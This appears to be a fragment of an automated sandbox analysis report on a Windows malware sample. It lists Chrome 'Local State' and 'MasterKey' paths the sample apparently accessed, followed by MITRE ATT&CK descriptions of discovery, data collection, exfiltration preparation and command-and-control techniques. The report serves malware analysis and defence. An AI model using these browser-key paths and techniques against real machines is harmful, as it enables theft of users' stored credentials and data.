C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Local State

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\MasterKey

Windows Analysis Report
LIccs3x2LZ.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre